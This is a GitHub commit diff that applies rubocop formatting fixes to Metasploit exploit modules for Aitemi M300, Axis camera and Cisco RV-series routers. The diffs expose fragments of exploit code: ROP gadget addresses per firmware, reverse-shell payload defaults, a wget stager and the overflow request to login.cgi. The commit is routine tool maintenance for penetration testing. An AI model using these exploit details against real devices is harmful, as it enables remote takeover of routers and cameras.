Skip to content

Commit 2695a94

Browse files
committed
Mass rubocop changes
1 parent d4b196b commit 2695a94

File tree

236 files changed

+4490
-4436
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

236 files changed

+4490
-4436
lines changed

modules/exploits/linux/http/aitemi_m300_time_rce.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ def initialize(info = {})
3232
['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/'],
3333
['CVE', '2025-34152']
3434
],
35-
'Platform' => %w(linux unix),
35+
'Platform' => %w[linux unix],
3636
'Payload' => {
3737
'BadChars' => "\x60"
3838
},

modules/exploits/linux/http/axis_srv_parhand_rce.rb

Lines changed: 22 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -43,28 +43,32 @@ def initialize(info = {})
4343
'Targets' => [
4444
[
4545
'Unix In-Memory',
46-
'Platform' => 'unix',
47-
'Arch' => ARCH_CMD,
48-
'Type' => :unix_memory,
49-
'Payload' => {
50-
'BadChars' => ' ',
51-
'Encoder' => 'cmd/ifs',
52-
'Compat' => {
53-
'PayloadType' => 'cmd',
54-
'RequiredCmd' => 'netcat-e'
46+
{
47+
'Platform' => 'unix',
48+
'Arch' => ARCH_CMD,
49+
'Type' => :unix_memory,
50+
'Payload' => {
51+
'BadChars' => ' ',
52+
'Encoder' => 'cmd/ifs',
53+
'Compat' => {
54+
'PayloadType' => 'cmd',
55+
'RequiredCmd' => 'netcat-e'
56+
}
57+
},
58+
'DefaultOptions' => {
59+
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
5560
}
56-
},
57-
'DefaultOptions' => {
58-
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
5961
}
6062
],
6163
[
6264
'Linux Dropper',
63-
'Platform' => 'linux',
64-
'Arch' => ARCH_ARMLE,
65-
'Type' => :linux_dropper,
66-
'DefaultOptions' => {
67-
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
65+
{
66+
'Platform' => 'linux',
67+
'Arch' => ARCH_ARMLE,
68+
'Type' => :linux_dropper,
69+
'DefaultOptions' => {
70+
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
71+
}
6872
}
6973
]
7074
],
@@ -101,7 +105,7 @@ def exploit
101105
end
102106
end
103107

104-
def execute_command(cmd, opts = {})
108+
def execute_command(cmd, _opts = {})
105109
send_request_cgi(
106110
'method' => 'POST',
107111
'uri' => "/index.html/#{rand_srv}",

modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb

Lines changed: 77 additions & 79 deletions
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@ def initialize(info = {})
5454
'License' => MSF_LICENSE,
5555
'Platform' => %w[linux],
5656
'SessionTypes' => %w[meterpreter],
57-
'CmdStagerFlavor' => %w{wget},
57+
'CmdStagerFlavor' => %w[wget],
5858
'Privileged' => true, # BusyBox
5959
'References' => [
6060
['CVE', '2019-1663'],
@@ -67,7 +67,7 @@ def initialize(info = {})
6767
'SSL' => true,
6868
'RPORT' => 443,
6969
'CMDSTAGER::FLAVOR' => 'wget',
70-
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
70+
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
7171
},
7272
'Targets' => [
7373
[
@@ -82,7 +82,7 @@ def initialize(info = {})
8282
'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
8383
'Arch' => ARCH_MIPSLE,
8484
'DefaultOptions' => {
85-
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
85+
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
8686
}
8787
}
8888
],
@@ -98,7 +98,7 @@ def initialize(info = {})
9898
'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
9999
'Arch' => ARCH_MIPSLE,
100100
'DefaultOptions' => {
101-
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
101+
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
102102
}
103103
}
104104
],
@@ -114,7 +114,7 @@ def initialize(info = {})
114114
'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
115115
'Arch' => ARCH_MIPSLE,
116116
'DefaultOptions' => {
117-
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
117+
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
118118
}
119119
}
120120
],
@@ -130,7 +130,7 @@ def initialize(info = {})
130130
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
131131
'Arch' => ARCH_MIPSLE,
132132
'DefaultOptions' => {
133-
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
133+
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
134134
}
135135
}
136136
],
@@ -146,7 +146,7 @@ def initialize(info = {})
146146
'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
147147
'Arch' => ARCH_MIPSLE,
148148
'DefaultOptions' => {
149-
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
149+
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
150150
}
151151
}
152152
],
@@ -160,7 +160,7 @@ def initialize(info = {})
160160
'gadget2' => 0x00041308, # mov r0, sp; blx r2;
161161
'Arch' => ARCH_ARMLE,
162162
'DefaultOptions' => {
163-
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
163+
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
164164
}
165165
},
166166
],
@@ -176,7 +176,7 @@ def initialize(info = {})
176176
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
177177
'Arch' => ARCH_MIPSLE,
178178
'DefaultOptions' => {
179-
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
179+
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
180180
}
181181
}
182182
],
@@ -192,7 +192,7 @@ def initialize(info = {})
192192
'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
193193
'Arch' => ARCH_MIPSLE,
194194
'DefaultOptions' => {
195-
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
195+
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
196196
}
197197
}
198198
],
@@ -208,7 +208,7 @@ def initialize(info = {})
208208
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
209209
'Arch' => ARCH_MIPSLE,
210210
'DefaultOptions' => {
211-
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
211+
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
212212
}
213213
}
214214
],
@@ -224,7 +224,7 @@ def initialize(info = {})
224224
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
225225
'Arch' => ARCH_MIPSLE,
226226
'DefaultOptions' => {
227-
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
227+
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
228228
}
229229
}
230230
],
@@ -240,7 +240,7 @@ def initialize(info = {})
240240
'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
241241
'Arch' => ARCH_MIPSLE,
242242
'DefaultOptions' => {
243-
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
243+
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
244244
}
245245
}
246246
],
@@ -256,7 +256,7 @@ def initialize(info = {})
256256
'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
257257
'Arch' => ARCH_MIPSLE,
258258
'DefaultOptions' => {
259-
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
259+
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
260260
}
261261
}
262262
],
@@ -266,7 +266,7 @@ def initialize(info = {})
266266
'Notes' => {
267267
'Stability' => [ CRASH_SERVICE_DOWN, ],
268268
'Reliability' => UNKNOWN_RELIABILITY,
269-
'SideEffects' => UNKNOWN_SIDE_EFFECTS,
269+
'SideEffects' => UNKNOWN_SIDE_EFFECTS
270270
},
271271
'Compat' => {
272272
'Meterpreter' => {
@@ -315,25 +315,23 @@ def prepare_shellcode(cmd)
315315
end
316316

317317
def send_request(buffer)
318-
begin
319-
send_request_cgi({
320-
'uri' => '/login.cgi',
321-
'method' => 'POST',
322-
'vars_post' => {
323-
submit_button: "login",
324-
submit_type: "",
325-
gui_action: "",
326-
wait_time: 0,
327-
change_action: "",
328-
enc: 1,
329-
user: rand_text_alpha_lower(5),
330-
pwd: buffer,
331-
sel_lang: "EN"
332-
}
333-
})
334-
rescue ::Rex::ConnectionError
335-
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
336-
end
318+
send_request_cgi({
319+
'uri' => '/login.cgi',
320+
'method' => 'POST',
321+
'vars_post' => {
322+
submit_button: 'login',
323+
submit_type: '',
324+
gui_action: '',
325+
wait_time: 0,
326+
change_action: '',
327+
enc: 1,
328+
user: rand_text_alpha_lower(5),
329+
pwd: buffer,
330+
sel_lang: 'EN'
331+
}
332+
})
333+
rescue ::Rex::ConnectionError
334+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
337335
end
338336

339337
def check
@@ -343,57 +341,57 @@ def check
343341
# (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x)
344342

345343
fingerprints = {
346-
"69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => {
347-
"version" => "Cisco RV110W 1.1.0.9",
348-
"status" => Exploit::CheckCode::Vulnerable
344+
'69d906ddd59eb6755a7b9c4f46ea11cdaa47c706' => {
345+
'version' => 'Cisco RV110W 1.1.0.9',
346+
'status' => Exploit::CheckCode::Vulnerable
349347
},
350-
"8d3b677d870425198f7fae94d6cfe262551aa8bd" => {
351-
"version" => "Cisco RV110W 1.2.0.9",
352-
"status" => Exploit::CheckCode::Vulnerable
348+
'8d3b677d870425198f7fae94d6cfe262551aa8bd' => {
349+
'version' => 'Cisco RV110W 1.2.0.9',
350+
'status' => Exploit::CheckCode::Vulnerable
353351
},
354-
"134ee643ec877641030211193a43cc5e93c96a06" => {
355-
"version" => "Cisco RV110W 1.2.0.10",
356-
"status" => Exploit::CheckCode::Vulnerable
352+
'134ee643ec877641030211193a43cc5e93c96a06' => {
353+
'version' => 'Cisco RV110W 1.2.0.10',
354+
'status' => Exploit::CheckCode::Vulnerable
357355
},
358-
"e3b2ec9d099a3e3468f8437e5247723643ff830e" => {
359-
"version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)",
360-
"status" => Exploit::CheckCode::Unknown
356+
'e3b2ec9d099a3e3468f8437e5247723643ff830e' => {
357+
'version' => 'Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)',
358+
'status' => Exploit::CheckCode::Unknown
361359
},
362-
"6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => {
363-
"version" => "Cisco RV130/RV130W 1.0.0.21",
364-
"status" => Exploit::CheckCode::Vulnerable
360+
'6b7b1e8097e8dda26db27a09b8176b9c32b349b3' => {
361+
'version' => 'Cisco RV130/RV130W 1.0.0.21',
362+
'status' => Exploit::CheckCode::Vulnerable
365363
},
366-
"9b1a87b752d11c5ba97dd80d6bae415532615266" => {
367-
"version" => "Cisco RV130/RV130W 1.0.1.3",
368-
"status" => Exploit::CheckCode::Vulnerable
364+
'9b1a87b752d11c5ba97dd80d6bae415532615266' => {
365+
'version' => 'Cisco RV130/RV130W 1.0.1.3',
366+
'status' => Exploit::CheckCode::Vulnerable
369367
},
370-
"9b6399842ef69cf94409b65c4c61017c862b9d09" => {
371-
"version" => "Cisco RV130/RV130W 1.0.2.7",
372-
"status" => Exploit::CheckCode::Vulnerable
368+
'9b6399842ef69cf94409b65c4c61017c862b9d09' => {
369+
'version' => 'Cisco RV130/RV130W 1.0.2.7',
370+
'status' => Exploit::CheckCode::Vulnerable
373371
},
374-
"8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => {
375-
"version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16",
376-
"status" => Exploit::CheckCode::Vulnerable
372+
'8680ec6df4f8937acd3505a4dd36d40cb02c2bd6' => {
373+
'version' => 'Cisco RV130/RV130W 1.0.3.14, 1.0.3.16',
374+
'status' => Exploit::CheckCode::Vulnerable
377375
},
378-
"8c8e05de96810a02344d96588c09b21c491ede2d" => {
379-
"version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)",
380-
"status" => Exploit::CheckCode::Unknown
376+
'8c8e05de96810a02344d96588c09b21c491ede2d' => {
377+
'version' => 'Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)',
378+
'status' => Exploit::CheckCode::Unknown
381379
},
382-
"2f29a0dfa78063d643eb17388e27d3f804ff6765" => {
383-
"version" => "Cisco RV215W 1.1.0.5",
384-
"status" => Exploit::CheckCode::Vulnerable
380+
'2f29a0dfa78063d643eb17388e27d3f804ff6765' => {
381+
'version' => 'Cisco RV215W 1.1.0.5',
382+
'status' => Exploit::CheckCode::Vulnerable
385383
},
386-
"e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => {
387-
"version" => "Cisco RV215W 1.1.0.6",
388-
"status" => Exploit::CheckCode::Vulnerable
384+
'e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f' => {
385+
'version' => 'Cisco RV215W 1.1.0.6',
386+
'status' => Exploit::CheckCode::Vulnerable
389387
},
390-
"7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => {
391-
"version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15",
392-
"status" => Exploit::CheckCode::Vulnerable
388+
'7cc8fcce5949a68c31641c38255e7f6ed31ff4db' => {
389+
'version' => 'Cisco RV215W 1.2.0.14 or 1.2.0.15',
390+
'status' => Exploit::CheckCode::Vulnerable
393391
},
394-
"050d47ea944eaeadaec08945741e8e380f796741" => {
395-
"version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)",
396-
"status" => Exploit::CheckCode::Unknown
392+
'050d47ea944eaeadaec08945741e8e380f796741' => {
393+
'version' => 'Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)',
394+
'status' => Exploit::CheckCode::Unknown
397395
}
398396
}
399397

@@ -403,10 +401,10 @@ def check
403401
'uri' => normalize_uri(uri, 'lang_pack/EN.js')
404402
})
405403
if res && res.code == 200
406-
fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}")
404+
fingerprint = Digest::SHA1.hexdigest("#{res.body}")
407405
if fingerprints.key?(fingerprint)
408-
print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}")
409-
return fingerprints[fingerprint]["status"]
406+
print_good("Successfully identified device: #{fingerprints[fingerprint]['version']}")
407+
return fingerprints[fingerprint]['status']
410408
else
411409
print_status("Couldn't reliably fingerprint the target.")
412410
end
@@ -419,7 +417,7 @@ def exploit
419417
execute_cmdstager
420418
end
421419

422-
def execute_command(cmd, opts = {})
420+
def execute_command(cmd, _opts = {})
423421
shellcode = prepare_shellcode(cmd.to_s)
424422
send_request(shellcode)
425423
end
@@ -428,8 +426,8 @@ def on_new_session(session)
428426
# Given there is no process continuation here, the httpd server will stop
429427
# functioning properly and we need to take care of proper restart
430428
# ourselves.
431-
print_status("Reloading httpd service")
432-
reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S"
429+
print_status('Reloading httpd service')
430+
reload_httpd_service = 'killall httpd && cd /www && httpd && httpd -S'
433431
if session.type.to_s.eql? 'meterpreter'
434432
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
435433
session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\""

0 commit comments

Comments
 (0)